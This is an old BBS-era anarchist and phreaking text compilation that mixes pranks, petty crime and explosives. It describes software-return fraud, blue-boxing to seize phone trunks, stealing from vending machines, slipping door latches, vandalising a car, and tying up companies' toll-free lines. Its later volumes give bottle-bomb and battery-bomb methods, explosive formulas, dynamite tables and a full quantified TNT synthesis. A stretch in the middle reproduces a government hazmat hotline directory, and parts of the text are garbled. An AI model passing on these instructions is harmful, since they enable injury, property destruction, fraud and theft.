match the originals date and time (approx). Install the program,
and/or copy the originals and manuals. Now fuck around with
the decompression file (usually PKUNZIP), the installation file, and
any others you see. Now the store has no reason, and MUST accept
the product as a return, or sometimes they will give you a return
check for the $$, and send the program back to the manufacturer,
which is good, because it will then be recopied, resealed, and put
back on the shelves somewhere for another phreaker to HACK!!
(If the above date/time matching is too much of a pain for the
really retarded out there, set your computer date/time to any past
ones close to the originals, and fuck with ALL the files, thus
making them all match.)
Battery Bombs:
-Batteries like Duracell, Eveready, Energizer, etc... are specially
made for home use and will not under any condition, explode when
simply connected to each other. Therefore, generic batteries are
required. These batteries can be obtained in hick country, or from
a shitty wholesaler. I've heard of phriends putting 9Vs in the
fucking microwave for a minute or so, and this is supposed to
disable the "exploder protector", but anyone who puts batteries in a
microwave, should have the batteries explode on them. EXODUS takes no
responsibility for anything in this file!!! I never found out if 2
9v batts connected really do explode. I hope so.
Any Blue Boxers??
-Not many people use blue boxes these days. They've become an
eminent danger to phreakers. Ma Bell has new equipment to detect the
use of tone-emmitting boxes, and about the only safe place to box
calls from is the handy-dandy pay phone at the end of the block.
The only way to box calls today is to switch off to another
switching system with another number: ie-
-call a store like Toys-'R'-Us, (1-908-322-6065 Livingston, NJ) and
ask for the technical (video game) department. This switches the
number from the above to the extension of the department, usually
and extension, but it can be a totally different # you are sent to
while you are on hold. This is VERY good. Bullshit the employee at
the tech dept., and wait for HIM to hang up first. That disconnects
you from his department, but not from the innerconnections of the
store. (it might even be possible to dial a number and get another
department at this point). This is like 'stacking' trunks. Their
dialtone (inside the store) may have a slightly higher/lower pitch
than a dialtone at your house. This is what you want. Now, blow
2600 accross the line, and you should have access to a trunk, and
Bell Labs think that the store did it, and it is not usually
questioned because the computer might think that it is part of their
paging system. (not 100% sure, test around)
-when someone (preferably who you don't give a shit about) calls,
dial *69 to ring him back.(if your area suscribes to this feature)
What sould happen is that the *69 tone asks the Bell computer to
call back the person. The COMPUTER does the calling at this point.
Now when your friend picks up, bullshit him into hanging up first.
Now the computer is getting the dialtone first, then it passes it on
to you. If you blow 2600 at this point, the computer may think it
is its own equipment doing the calling. I'm REALLY not sure about
this one. Hopefully this one works, but I can't test it because
some fucked up, shit full, douche nozzle, pig fucker broke my
MF box. MF boxes are not that hard to come by. Many hobby
shops, music instrument stores, or electronic stores may sell the MF
box itself, or one that detects tones, which can be used in the
reverse way.
Good Technical Phone Numbers:
-sometimes the hardest part of getting technical support is finding
a place to look. An easy place is M.I.T. (HOME OF THE ORIGINAL
PHREAKS) Find the number for the Electronic engineering campus, call
and say you would like the number for (give room # make one up if
you have to), or call the person incharge of dorm assignments (buy a
college book if you need to). Enentually, if done right, you will
have a list of possible #s, and set your modem on scan, and look for
carrier detect. One of these nerds...ahm! I mean Geniuses must have
a computer with a modem, and these guys will answer about 100% of
your technical problems.
Practical Jokes:
-if you are into practical jokes like I am, than here is a book for
you:
"The Second Official Handbook of Practical Jokes"
by: Peter Van Der Linden
There are hundreds of good practical jokes and phone scams, as well
as a section of computer jokes, with a whole program of re-writing
the COMMAND.COM file to be funnier than ever.
<--* Out To Help The Common Phreak *-->
--------------007
_
Shaving Cream Bomb --------EXODUS
-This may not really be what we would consider a bomb, but it is a
helluva great idea to phuck someone over. You will need:
(1)-person you hate who has a car
(1)-container of liquid nitrogen (try a science shop, or Edmund
Scientific, mentioned in several places in this Cookbook)
(6-10)-cans of generic shaving cream
(1)-free afternoon (preferably in FREEZING temperatures outside)
(1-or more)-pairs of pliars, for cutting and peeling
some phriends
Directions:
Find someone who owns a small compact car, and manage to find out
where he keeps it at night (or while he is away!) Be able to open
the car repeatedly.. Place a can in the liquid nitrogen for about 30
sec. Take it out and carefully and QUICKLY peel off the metal
outside container, and you should have a frozen "block" of shaving
cream. (It helps to have more than one container, and more phriends)
Toss it into the car and do the same with all the cans. A dozen or
more "blocks" like this can fill and lightly PRESSURIZE a small
car. When he opens the door (hopefully he doesn't realize the mess
inside due to the foggy windows), he will be covered with lbs of
shaving cream that is a bitch to get out of upholstry.
PS!- Try to get one is his glove compartment!!!!!
Have Phunn.... ------007
_
This is another good way to Compiled by:
rip off a change or drink machine.... -= Exodus =-
You first get a nice new dollar to work with. Make sure there are no
rips in it. Now, you get a thin piece of transparent plastic about
3/4 the width of the actual dollar. It must be a good 6" or longer.
Next, you need some transparant tape. Scotch magic tape will work
the best. You simply tape the plastic strip to the dollar. But, you
must be careful not to tape it more than 1/2" up the side of the dollar.
tape it on both sides (front and back, not top and bottom) of the dollar.
Now, all you have to do is use it:
Walk casually up to the secluded machine. Take out your dollar, and put
it into the machine. BE CAREFUL! Some of the more modern change machines
have alarms! Most likely, though, drink or candy machines will not. Now,
the machine starts taking your dollar.... You wait until your plastic
strip is almost all the way into the machine, and then you pull with
sufficient force to get the dollar out of the machine, but not rip it. If
You did it correctly, you should have gotten whatever you bought, and still
have your dollar for later use. On candy machines, though, make your
selection, and then wait and pull the dollar out. Don't worry if you don't
get it on the first few tries. It took me about 5 tries to master it. It
DOES, i repeat DOES work for a fact if done correctly. If you just can't
get it, though, either the machine is too sophisticated, or you put the
tape up too high on the dollar. Have fun!!!!
a little annex to the cookbook from
€OEd ŸlŠsh
ACID FLESH can be found on local BBS's in Northern New Jersey
_
Lockpicking for the EXTREME beginner... Brought to you by:
-= Exodus =-
This is really a good method for opening doors that are locked. The
only problem with this, though, is that it only works for outward
opening doors. Ok, here we go....
1) Realize you are not working with the actual lock, but that thing
that sticks between the door and the wall.
2) See how that thing is curved on one side? Well, that is what we
will be making use of.
3) Acquire a large paper-clip. If it is too short, it won't work.
You have to also have a shoelace. Now, onto the construction...
4) Straighten the paper-clip.
5) Loop one end of the paper clip around the shoelace. The shoelace
should be about 4/5 on one side of the clip and 1/5 on the other.
Let's see if I can draw it.
------------------*************************************
-*
*******
--- is the paper clip
*** is the shoelace
That's not very good, but I hope you get the picture.
6) All you have to do now is curve the paper clip (no, I won't draw it)
7) With the curved paper-clip, stick it between the door and the wall,
behind the metal thing that sticks between.
8) Feed it through with you hand, until you can grip both sides of the
shoelace.
9) Now, simply pull the lace and the door at the same time, and VIOLA!
the door is open.
I prefer this over regular lock-picking if the door opens outward, because
it is a lot quicker. Lock picking can take 5 minutes... When done correctly
this only takes 30 seconds! So, if you can, use this.
another addition to the mighty cookbook by
ACID FLESH
_
ANARCHY 'N' EXPLOSIVES
==> PRELUDE VOLUME <==
For you people that like blowing things up and shit like that, here's
something that's not as dangerous or as difficult as more of the explosives
available (or able to create)... It's called the LN2 Bomb (Short for Liquid
Nitrogen Bomb). Very easy to make:
Ingredients: 1 Plastic Two Litre Bottle
Enough Liquid Nitrogen To Fill The Bottle
Instructions: Fill the bottle with liquid nitrogen. Then cap
as tightly as possible. The vaporization of the
nitrogen will create enough pressure in the
bottle (within 5-15 minutes) to break it with
a quite strong explosive force... Very Easy...
USE AT YOUR OWN RISK....
_________________________
|800 #'s to phuck with- |
|Compiled by The Duelist|
|_______________________|
CALL JYER INC. xxx-xxx-xxxx
Numers with a ? either call forward to take u on some trip thru swithces,
but im sure if u fuck around with it enough u will get there tone somewhere.
Have fun....... Later!
800-
4261244 ?
6456561 VMS
2471753 ?
5244040 ?
6348026 ?
6677827 ?
8723425 ? (Extension dialer)
9928911 ? Modem
6242367 VMS (#)
4262468 ?
3389549 VMS
2220400 ?
5376001 ?
3439255 VMS (#)
8326979 ?
2339558 VMS
7299000 ?
5335545 ?
3332222 ?
3335555 VMS
3338888 ?
=========== TOLL-FREE NUMBERS AND ON-LINE DATABASES ==========
There are many toll-free assistance numbers and on-line
databases available to federal, state, local, and private
sector personnel. Some may be available through a federal or
state agency, while others are publicly available on
commercial systems or through private organizations.
Except for their own, neither DOT nor FEMA endorses the
following toll-free telephone numbers or on-line databases.
1. Federal and State Toll Free Technical Assistance Sources
2. Private Sector Toll Free Technical Assistance
3. Federal and State Agency Online Databases
4. Commercial and Private Online Databases
=============================================================
******************************************************************************
FEDERAL AND STATE TOLL FREE TECHNICAL ASSISTANCE SOURCES
******************************************************************************
U.S. Coast Guard - National Response Center: 1-800-424-8802
in Washington, D.C. - (202) 426-2675
(202) 267-2675
EPA REGIONAL HOTLINES
EPA has now established a Hotline in each of it's regional offices to handle
Title III reporting. Please make note of the number for the office in your
area.
Nation-wide - (800) 535-0202
In Alaska and D.C. - (202) 479-2449
In the Regional Offices:
Region I - Boston, MA - (617) 565-3273
Region II - Edison, NJ - (201) 321-6765
Region III - Philadelphia, PA - (215) 597-1260
Region IV - Atlanta, GA - (404) 347-3222
Region V - Chicago, IL - (312) 886-6418
Region VI - Dallas, TX - (214) 655-7244
Region VII - Kansas City, KS - (913) 236-2806
Region VIII - Denver, CO - (303) 293-1730
Region IX - San Francisco, CA - (415) 974-7054
Region X - Seattle, WA - (206) 442-1270
**** Remember to report all hazardous materials releases to your Local
Emergency Planning Committee representative and to your State Emergency
Response Commission immediately!
TOXIC RELEASE INVENTORY REPORTING CENTER
EPA has established a reading room in the Toxic Inventory Reporting Center
(TRC) located at 470 L'Enfant Plaza East, S.W., Suite 7103, Washington, D.C.
20024. The reading room provides a place for concerned citizens to review
release data as supplied to the Environmental Protection Agency (through
section 313 reporting). To date, the center has received more than 50,000 of
the 300,000 release reports anticipated.
The TRC's is intended to serve as a central receipt point, aid in the sorting
recording and storage of release data reported under Title III. Additionally
the TRC is to provide an easy method to facilitate public inquiries. Anyone
can access the chemical information by logging onto a data base and calling
the information up by using CAS number, state, city and/or facility name.
Staff from Computer Based Systems, Inc. (EPA contractor) are on-hand to assist
with system inquiries between 8:00 am and 4:00 pm, Monday through Friday. To
schedule an appointment, please call (202) 488-1501.
CHEMICAL EMERGENCY PREPAREDNESS PROGRAM (CEPP) - 1-(800) 535-0202
(202) 479-2449
Contact: Chemical Emergency Preparedness Program (CEPP)
Office of Solid Waste and Emergency Preparedness
U.S. Environmental Protection Agency (WH-548A)
401 M Street, SW
Washington, D.C. 20460
EMERGENCY MANAGEMENT INFORMATION CENTER (EMIC) - 1-800-638-1821
(301) 447-6771 ext 6032
Contact: EMIC Librarian, Learning Resource Center
UNational Emergency Training Center
16825 South Seton Avenue
Emmitsburg, Maryland 21727
FEMA established EMIC (Emergency Management Information Center) to assist
faculty, staff, students and off-campus users of the National Emergency
Training Center Learning Resource Center with their research and
information needs. EMIC is a special collection of natural and
technological case study documents that can be requested for loan to
state level fire and emergency management officials by applying in
writing, on official letterhead, to the EMIC librarian. Other requests
will be referred back to appropriate states for handling.
SUPERFUND AND RESOURCE CONSERVATION AND RECOVERY ACT - 1-800-424-9346
(202) 382-3000
Contact: For Superfund -- Office of Emergency and Remedial Response
U.S. Environmental Protection Agency
401 M Street, S.W.
Washington, D.C. 20460
For CERCLA -- Office of Waste Programs Enforcement
U.S. Environmental Protection Agency
401 M Street, S.W.
Washington, D.C. 20460
EPA established the toll free technical assistance hotline in 1980 to
answer questions and provide documents to those needing information on
the Superfund and Resource Conservation and Recovery Act.
TOXIC SUBSTANCES CONTROL ACT (TSCA) - (202) 554-1404
Contact: Toxic Substances Control Act Assistance Office
Office of Toxic Substances
U.S. Environmental Protection Agency
******************************************************************************
PRIVATE SECTOR TOLL FREE TECHNICAL ASSISTANCE SUPPORT
******************************************************************************
CHEMTREC: 1-(800) 424-9300. Alaska, Hawaii and DC (202) 483-7616
Contact: Chemical Manufacturers Association
2501 M Street, N.W.
Washington, D.C. 20037.
The Chemical Manufacturers Association set up the Chemical Transportation
Emergency Center (CHEMTREC) to provide immediate assistance to those at the
scene of accident, 24 hours a day, seven days a week. CHEMTREC maintains an
online database on the chemical, physical, and toxicological properties and
health effects of the thousands of products of the member companies. CHEMTREC
operates in two stages: first, staff provide chemical information for use in
onsite decisionmaking involving handling the early stages of the problem and,
second, notifies the manufacturer of the product of the accident for more
detailed information and appropriate follow-up.
CHEMNET is activated by a call to CHEMTREC. If a member shipper cannot
respond promptly to an incident and a chemical expert is required at a site,
then the shipper can authorize a CHEMNET-contracted emergency response company
to go in its place.
CHLOREP: Emergency contact through CHEMTREC above.
Contact: Chlorine Institute
342 Madison Avenue
New York, NY 10017.
The Chlorine Institute in 1972 established its Chlorine Emergency Plan
(CHLOREP), a mutual-aid response network of chlorine manufacturers and
packagers, to provide assistance at chlorine emergencies in the United States
and Canada through telephone instructions to on-scene personnel or the
dispatching of trained teams to sites. Response is activated by a call to
CHEMTREC which in turn calls the designated CHLOREP contact, who notifies the
appropriate team leader based upon CHLOREP's geographical sector team
assignments.
CAER: Community Awareness and Emergency Response information line.
This is a 2 minute recorded message informing callers of upcoming events
related to coordinated emergency response planning. The CAER information
number is (202) 463-1599 and is updated twice a month.
To submit an event to be publicized, send the materials to:
Todd Miller
CMA Communications Dept.
2501 M Street, N.W.
Washington, D.C. 20037
The Center for Fire Research in the National Bureau of Standards has
established a public access computer bulletin board.
Contact: Doug Walton
System Operator
U(301) 975-6872
Information on the bulletin board includes:
* a listing of the most recent reports from the Center for Fire Research;
* information on upcoming activities at the Center for Fire Research such
as conferences, seminars and workshops; and
* information on FIREDOC, the Center's fire research bibliographic
system.
******************************************************************************
FEDERAL AND STATE AGENCY ONLINE DATABASES
******************************************************************************
The Office of Solid Waste and Emergency Response (OSWER) bulletin board is
intended to to ts orr communications and technology transfer among the Regions
and with Headquarters staff involved in solid or hazardous waste regulation,
permitting, or enforcement and with ORD scientists and engineers in
Headquarters and laboratories who are supporting OSWER. The OWSER is operated
under contract to the Office of Program Management Technology (OPMT). The
OSWER BBS offers messages, bulletins, files and computer programs, databases,
and conferences. Bulletins include OSWER technical training opportunities and
ORD technology transfer seminars nationwide, new ORD technical publications,
the top 25 compounds found at Superfund Sites, and the current status of the
SITE technology demonstrations. Conferences include: Executive (for EPA
managers only), Ground-Water Workstation, Ground-Water Monitoring and
Remediation, Risk Management/Assessment, and Expert Systems/Geographic
Information Systems. The BBS is primarily intended for EPA Regional,
Headquarters, and ORD personnel, however, OSWER welcomes state and local
government agencies and authorized EPA contractors. The BBS telephone number
is (301) 589-8366, the voice line is (301) 589-8368.
The Hazardous Materials Information Systems (HMIS) offers two menu-driven
programs to assist state, local and Federal agencies. The U.S. Department of
Transportation (DOT), Research and Special Programs Administration's (RSPA)
project offers quick access to both exemptions information and informal
interpretations. The exemptions menu provides access to the following:
exemption numbers, exemption holders, expiration dates, container type and DOT
specification, hazardous material, shipping name and class, and regulations
affected. The interpretations menu provides access to informal
interpretations issued by the Standards Division, Office of Hazardous
Materials Transportation. Each search provides: requestor, subject,
commodity, container and regulations affected. This service is provided FREE
to state, local, and federal agencies. Private sector organizations cannot
get an account on the HMIS but can call to receive printouts on information
they need (there is a fee for the printout). In order to gain access to the
HMIS you must FIRST ESTABLISH AN ACCOUNT by contacting:
Lessie Graves
Office of Hazardous Materials Transportation
Information Services Unit
FTS/COMM: (202) 366-4555
Occupational Safety and Health Administration's (OSHA) Computerized
Information System (OCIS) is designed to aid OSHA, State OSHA Program, and
OSHA Area Office staff in responding to employers' and employees' occupational
safety and health problems by maintaining quick access to various computerized
information files. OCIS files are maintained on a Digital Vax 11/750 computer
at the Salt Lake City Laboratory; BASIS is the database management software;
system is accessed from OSHA and State Program offices only; files are menudriven;
and new capabilities are under development.
Questions and comments can be directed to:
OCIS Help Desk
(801) 524-5366 or 524-5896
FTS 588-5366 or 588-5896
The National Library of Medicine's (NLM) Toxicology Data Network (TOXNET) is a
computerized system of toxicologically oriented data banks, offering a
sophisticated search and retrieval package which permits efficient access to
information on known chemicals and identifies unknown chemicals based on their
characteristics. TOXNET files include: Hazardous Substances Data Bank (HSDB),
Toxicology Data Bank (TDB), and Chemical Carcinogenesis Research Information
System (CCRIS).
Regis orred NLM users can access TOXNET by direct dial or through TELENET or
TYMNET telecommunications networks. ations verage search charges (per hour) are
$75.00 for prime time.
For detailed information on TOXNET contact:
National Library of Medicine
Specialized Information Services
Biomedical Files Implementation Branch
8600 Rockville Pike
Bethesda, MD 20894
(301) 496-6531 or 496-1131
******************************************************************************
COMMERCIAL AND PRIVATE ONLINE DATABASES
******************************************************************************
FIREDOC: ations vailable From NBS
The Center for Fire Research in the National Bureau of Standards has made its
computerized bibliographic system, FIREDOC, available for searching on-line.
The system can be accessed by telephone using a computer as a terminal. About
7,000 items from the Center's collection are currently entered in the FIREDOC
system.
For further information including instructions on access and use of FIREDOC,
contact: Nora Jason
Technical Information Specialist
Center for Fire Research
(301) 975-6862
CFRBBS is a public access computer bulletin board sponsored by: the Center for
Fire Research, National Bureau of Standards, US Department of Commerce, in
Gaithersburg, MD 20899. It features computer programs developed by the Center
of Fire Research. Contents of the board include: fire simulation programs,
information on FIREDOC (the Center for Fire Research bibliographic search
system; FIREDOC users guide; and FIREDOC compatible communications package),
information on upcoming activities at the Center for Fire Research, and a
listing of the most recent year's reports from the center. There is no
connect fee for using the board; however the user pays for the phone call.
For more information contact Doug Walton, System Operator, at (301) 975-6872.
Public Health Foundation's Public Health Network (PHN) users have full access
to all GTE Medical Information Network (MINET) services, and can communicate
directly with users in PHN and other divisions of MINET. Access to Surgeon
General, NLM/NIH, CDC, and American Medical Association information services
(e.g., Disease Information, Drug Information, Medical Procedure Coding,
Socioeconomic Bibliography, Expert Medical Physician Information Retrieval and
Education Service, Massachusetts General Hospital (MGH) Continuing Medical
Education, and AP Medical News Service) are available ranging in price from
$21 to $39 an hour of connect time.
Subscription fee, payable on a one-time basis is $500.00, each additional user
is registered at $25.00, and a User's Guide costs $15.00. Connect time rates
range from $14 an hour peak to $7 an hour off-peak, character transmission
charges are $.05 per 1,000 characters.
For detailed information on PHN or MINET contact:
The Public Health Foundation
1220 L Street, N.W.
Suite 350
Washington, D.C. 20005
(202) 898-5600
Information Consultants, Inc.'s Chemical Information System (ICIS) and
Chemical Information System, Inc.'s (Fein Marquart Associates) System (CIS)
are two competing companies which offer approximately 35 databases each, some
similar, others different. Databases available for searching include, for
example: Oil and Hazardous Materials Technical Assistance Data System
(OHMTADS) with emphasis on environmental and safety data for spills response;
Chemical Evaluation Search and Retrieval (CEASARS) gives very detailed,
evaluated profiles with physical/chemical, toxicological and environmental
information; NIOSH Registry of Toxic Effects of Chemical Substances (RTECS)
with acute toxdata, TLV's, standards, aquatic tox, regulatory information, and
NTP test status; Chemical Carcinogensis Research Information System (CCRIS)
giving results of carcinogenicity, mutagenicity, tumor promotion and
carcinogenicity tests under National Cancer Institute contract; GENETOX with
genetic assay studies; AQUIRE with aquatic toxicity information; DERMAL with
dermal toxicity information.
Subscriber ($300 per year and $25-85 per hour of connect time) and nonsubscriber
($50-115 per hour connect time) options exist.
For detailed information contact:
CIS, Inc. or Information Consultants, Inc.
Fein Marquart Associates 1133 15th St., N.W.
7215 York Road Washington, D.C. 20005
Baltimore, MD 21212 (202) 822-5200
(800) 247-8737
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[] []
[] List of Toll Free Numbers []
[] for amusement []
[] and []
[] for an outlet of frustration []
[] []
[] []
[] Uploaded and written by []
[] []
[] Dr. |-| /-X |< |< E R []
[] []
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
You may ask "Now why would I want to know some obsolete, unused, utterly
useless, toll free numbers" Well, what you use this information for is up
to you, and if you want to use it for some thing like... well, like, forcing
that line to be busy for 2 straight days thus causing the company to lose money,
is completely up to you.
Magazines
=-=-=-=-=
Playgirl Advisor (800) 854-2878 (except CA)
T.V. Guide (800) 523-7933 (except PA)
Ladie's Home Journal (800) 327-8351 (except FA)
Sports Illustrated (800) 621-8200 (except IL)
Book Digest Magazine (800) 228-9700 (except Nebraska)
Money (800) 621-8200 (except IL)
Mail Order
=-=-=-=-=-
(bowling equip.) (800) 323-1812 (except IL)
Edd the Florist, Inc. (800) 247-1075 (except IA)
Golf Mail Order Co. (800) 327-1760 (except FA)
Inflate-a-bed (800) 835-2246 (except KS)
International Male (800) 854-2795 (except CA)
Porta Yoga (c.c. orders)(800) 327-8912 (except FA)
Unique Products Co. (800) 228-2049 (except Nebraska)
Ski Resorts
=-=-=-=-=-=HN) Concord (800) 431-2217 (only New England States)
Mt. Snow (800) 451-4211 (Eas orrn Seabord)
Ski Us at Franconia (800) 258-0366 (Eastern Seabord)
Stevensville (800) 431-2211 (New England States)
Mannequins
=-=-=-=-=-
Dann-Dee (800) 621-3904 (except IL)
Car Rentals
=-=-=-=-=-=
A-Aaron, Inc. (800) 327-7513 (except FA)
Airlines Rent-A/Car (800) 228-9650 (FA only)
Dollar-A-Day (800) 421-6868 (except FA)
Hertz (800) 261-1311 (Canada only)
Sears Rent-A-Car (800) 228-2800 (except Nebraska)
Thrifty Rent-A-Car (800) 331-4200 (except Oklahoma)
Newspapers
=-=-=-=-=-
Globe Gazette (800) 392-6622 (IA only)
Oil Daily (800) 223-6635 (except NY)
Christian Science Motor (800) 225-7090 (except MS)
Wall Street Journal (800) 257-0300 (except NJ)
The National Observer (800) 325-5990 (except MO)
Have fun.
-= Exodus =-_
ANARCHY 'N' EXPLOSIVES
=====> VOLUME 2 <=====
This volume defines a few varieties of misc explosives, charges, and
whatever I had in mind at that time. Anyway, these formulas are not
as precise in measurements for they were given in brief summary.
However, they will work, and if used correctly can be safe and "fun".
FRENCH AMMONAL:
-------------------
Type: Low Explosive
Ingredients: 86% Ammonium Nitrate
6% Stearic Acid
8% Aluminum Powder
Description: French ammonal is an easily improvised low explosive
mixture. It is generally less effective than an equal
weight of TNT. The material is loaded by pressing it into
a suitable container. Initiation by an Engineer's special
blasting cap is recommended.
Comments: This material was tested. It is effective.
References: TM 31-201-1, Unconventional Warfare Devices and Techniques,
para 1401.
TETRYTOL:
-------------
Type: High Explosive
Ingredients: 75% Tetryl
25% TNT
Description: Tetryol is a high explosive bursting charge. It is used as
a demolition explosive, a bursting charge for mines, and
in artillery shells. The explosive force of tetrytol is
approximately the same as that of TNT. It may be initiated
by a blasting cap. Tetrytol is usually loaded by casting.
Comments: This material was tested. It is effective.
References: TM 9-1900, Ammunition, General, page 55.
TM 9-1910, Military Explosives, page 188.
IMPROVISED PLASTIC EXPLOSIVE FILLER:
----------------------------------------
Type: High Explosive
Ingredients: Finely Powdered Potassium Chlorate Cdata bstals
Petroleum Jelly **MIX THOUROUGHLY**
Description: This plastic explosive filler can be detonated with a
No. 8 commercial blasting cap or with any military
blasting cap. The explosive must be stored in a waterproof
container until ready to use.
Comments: This material was tested. It is effective.
References: TM 31-210, Improvised Munitions, sec I, No. 1.
FLAMABILITY OF GASES:
-------------------------
Type: Gas Explosive
Ingredients: Explosive Gas
Description: Under some conditions, common gases act as fuel. When mixed
with air, they will burn rapidly or even explode. For some
fuel-air mixtures, the range over which the explosion can
occur is quite wide while for others the limits are narrow.
The upper and lower amounts of common fuels that will cause
an ignitable mixture are shown in the table below. The
quantity shown is the percentage by volume of air. If the
fuel-air mixture is too lean or too rich, it will not
ignite. The amounts shown are therefore called limits of
inflamability.
Gases (% by volume of air)
Fuel (Gas) Lower Limit Upper Limit
------------------------------- ----------- -----------
Water Gas Or Blue Gas 7.0 72
Natural Gas 4.7 15
Hydrogen 4.0 75
Acetylene 2.5 81
Propane 2.2 10
Butane 1.9 9
Comments: These fuels have been tested under labratory conditions.
They are effective. Ignition depends on method of
initiation, uniformity of mixture, and physical conditions.
References: Bulletin 29, Limits of Inflammability of Gases and Vapors
H.F. Coward and G.W. Jones, Bureau of Mines, U.S.
Government Printing Offece, 1939.
!!!WARNING!!!
! USE THESE FORMULAS AND OTHER FORMS OF ANARCHY/EXPLOSIVES AT YOUR OWN RISK !
More volumes of ANARCHY soon to come.......
===> DOCTOR DISSECTOR
---------------------------------------
ANARCHY 'N' EXPLOSIVES
=====> VOLUME 3 <=====
This is the MOST important or one of the most important volumes regarding
the various mixtures of anarchy that I will be "publishing" to the "public".
Also, it may as well be the MOST DANGEROUS to prepare, the substance we will
be dealing with is Trinitrotoluene, or short - TNT. This high expolosive
is a VERY DANGEROUS, slightly unstable substance. The crystalized crude TNT
is about the color of brown sugar and feels greasy to the touch. It is
suitable for many uses as a high-explosive, but not for the use in highexplosive
shells. It is also highly reactive to many other chemical
substances. It can be incorporated into dynamite and many other explosives
that will be explained in further detail later, in other volumes of ANARCHY.
WARNING:
DO NOT ATTEMPT TO FINISH THIS PROJECT UNLESS YOU ARE FULLY CAPABLE SAFELY
EXECUTING THE PROCESSES IN A SAFE ENVIRONMENT! IF YOU CHOOSE TO CONTINUE,
READ THE INSTRUCTIONS COMPLETELY THROUGH BEFORE BEGINNING AND HAVE ALL
MATERIALS AND TOOLS (INCLUDING SAFETY/EMERGENCY EQUIPTMENT) READY FOR USE
WHEN OR IF THEY ARE NEEDED. THIS IS NOT A JOKE! USE AT YOUR OWN RISK!!!!!
Preparation of Trinitrotoluene (Three Stages). A mixture of 294 grams
of concentrated sulfuric acid (density 1.84) and 147 grams of nitric
acid (density 1.42) is added slowly from a dropping funnel to 100
grams of toluene in a tall 600-cc. beaker, while the liquid is stirred
vigorously with an electric stirrer and it's temperature is maintained
at 30 to 40 degrees celsius by running cold water in the vessel in
which the beaker is standing. The addition of acid will require from an
hour to an hour and a half. The stirring is then continued for half an
hour longer without cooling; the mixture is allowed to stand over night
in a separatory funnel; the lower layer of spent acid is drawn off; and
the crude mononitrotoluene is weighed. One-half of it, corresponding to
50 grams of toluene, is taken for the dinitration.
The mononitrotoluene (MNT) is dissolved in 109 grams of concentrated
sulfuric acid (d. 1.84) while the mixture is cooled in running water.
The solution in a tall beaker is warmed to 50 degrees
and a mixed acid,
composed of 54.5 grams each of nitric acid (d. 1.50) and sulfuric acid
(d. 1.84), is added slowly drop by drop from a dropping funnel while
the mixture is stirred mechanically. The heat generated by the reaction
raises the temperature, and the rate of addition of the acid is regulated
so that the temperature of the mixture lies always between 90 degrees
and 100 degrees. The addition of the acid will require about 1 hour.
After the acid has been added, the mixture is stirred for 2 hours longer
at 90-100 degrees to complete the nitration. Two layers seperate on
standing. The upper layer consists largely of dinitrotoluene (DNT), but
probobly contains a certain amount of TNT. The trinitration in the
laboratory is converniently carried out without separating the DNT from
the spent acid.
While the dinitration mixture is stirred actively at a temperature of
about 90 degrees, 145 grams of fuming sulfuric aced (oleum containing
15% free SO3) is added slowly by pouring from a beaker. A mixed acid,
composed of 72.5 grams each of nitric acid (d. 1.50) and the 15% oleum,
is now added drop by drop with good agitation while the heat of the
reaction maintains the temperature at 100-115 degrees. After about
three-quarters of the acid has been added, it will be found necessary
to apply external heat to maintain the temperature. After all the acid
has been added (taking 1 1/2 to 2 hours), the heating and stirring are
continued for 2 hours longer at 100-115 degrees. After the material has
stood overnight, the upper TNT layer will be found to have solidified
to a hard cake, and the lower layer of spent acid to be filled with
cdata bstals. The acid is filtered through a Buchner funnel (without filter
paper), and the cake is broken up and washed with water on the same
filter to remove excess of acid. The spent acid contains considerable
amounts of TNT in solution; this is precipitated by pouring the acid
into a large volume of water, filtered off, rinsed with water, and added
to the main batch. All the of the product is washed three or four times
by agitating it vigorously with hot water under which it is melted.
After the last washing, the TNT is granulated by allowing it to cool
slowly under hot water while the stirring is continued. The product,
filtered off and dried at ordinary room temperature, is equal to a good
commercial sample of crude TNT. It may be purified by dissolving in warm
alcohol at 60 degrees and allowing to cool slowly, or it may be purified
by digesting with 5 times its weight of 5% sodium hydrogen sulfite
solution at 90 degrees for half an hour with vigorous stirring, washing
with hot water until the washings are colorless, and finally granulating
as before. The product of this last treatment is equal to a good
commercial sample of purified TNT. Pure ALPHA-TNT, melting point 80.8
degrees, may be procured by recrystallizing this material once from
nitric acid (d. 1.42) and once from alcohol.
Well, that's it... AND REMEMBER MY WARNING!
future editions of ANARCHY 'N' EXPLOSIVES comming soon.....
(whenever I have time to type them up!)
by Doctor Dissector of course!
---------------------------------------
ANARCHY 'N' EXPLOSIVES
=====> VOLUME 4 4 <=====
In this particular volume, we will be discussing types of Dynamite,
these high-explosives being one of the more important or destructive of the
anarchist's formulas. Note that some of these mixtures are very unstable or
shock ignited, and that care should be observed when handling these unstable
mixtures. Some of these formulae deal with Trinitrotoluene (TNT) and the
preparation for that is given under the volume 3, within this series.
WARNING:
THESE ARE REAL EXPLOSIVES AND MAY CAUSE SERIOUS INJURY OR DEATH UPON MISUSE.
DO NOT ATTEMPT TO PREPARE ANY AS SAMPLE IF YOU ARE NOT FULLY CAPABLE OF
UNDERSTANDING THE DANGERS AND PRECAUTIONS OF THESE PRODUCTS. THESE FORMULAE
ARE THE TRUE FORMULAE TO CREATE THESE MIXTURES AND ARE THEREFORE VERY
DANGEROUS. USE AT YOUR OWN RISK!!!
Guhr Dynamite:
Ingredients- 1 part Kieselguhr
3 parts Nitroglycerin
Description- This dynamite is primarily used in blasting. It is fairly
stable, in the drop test, it exploded by the fall of a 1 kg
weight through 12 to 15 cm., or by the fall of a 2 kg weight
through 7 cm. The frozen material is less sensitive: a drop of
more than 20 cm. with a 1 kg weight is needed to explode it,
and the 2 kg weight is necessary to explode it. Frozen or
unfrozen, it can be detonated by shooting at it with a
military rifle, when held in a paper cartridge. Generally,
it is detonated with a steel-on-steel blow. Velicity of
detonation vary from 6650 to 6800 meters per second at a
density loading of 1.50.
Extra-Dynamite:
Ingredients- FORMULA 1 FORMULA 2
71% Nitroglycerin 62% Ammonium Nitrate
23% Amonium Nitrate 25% Nitroglycerin
4% Collodion 12% Charcoal
ed to e% Charcoal 1% Collodion
Description- This material is crumbly and plastic between the fingers.
This material can be detonated with any detonating cap.
Table Of Dynamite Formulae:
INGREDIENT STRENGTH
15% 20% 25% 30% 35% 40% 45% 50% 55% 60%
Nitroglycerin.......... 15 20 25 30 35 40 45 50 55 60
Combustible Material... 20 19 18 17 16 15 14 14 15 16
Sodium Nitrate......... 64 60 56 52 48 44 40 35 29 23
Calcium or Magnesium
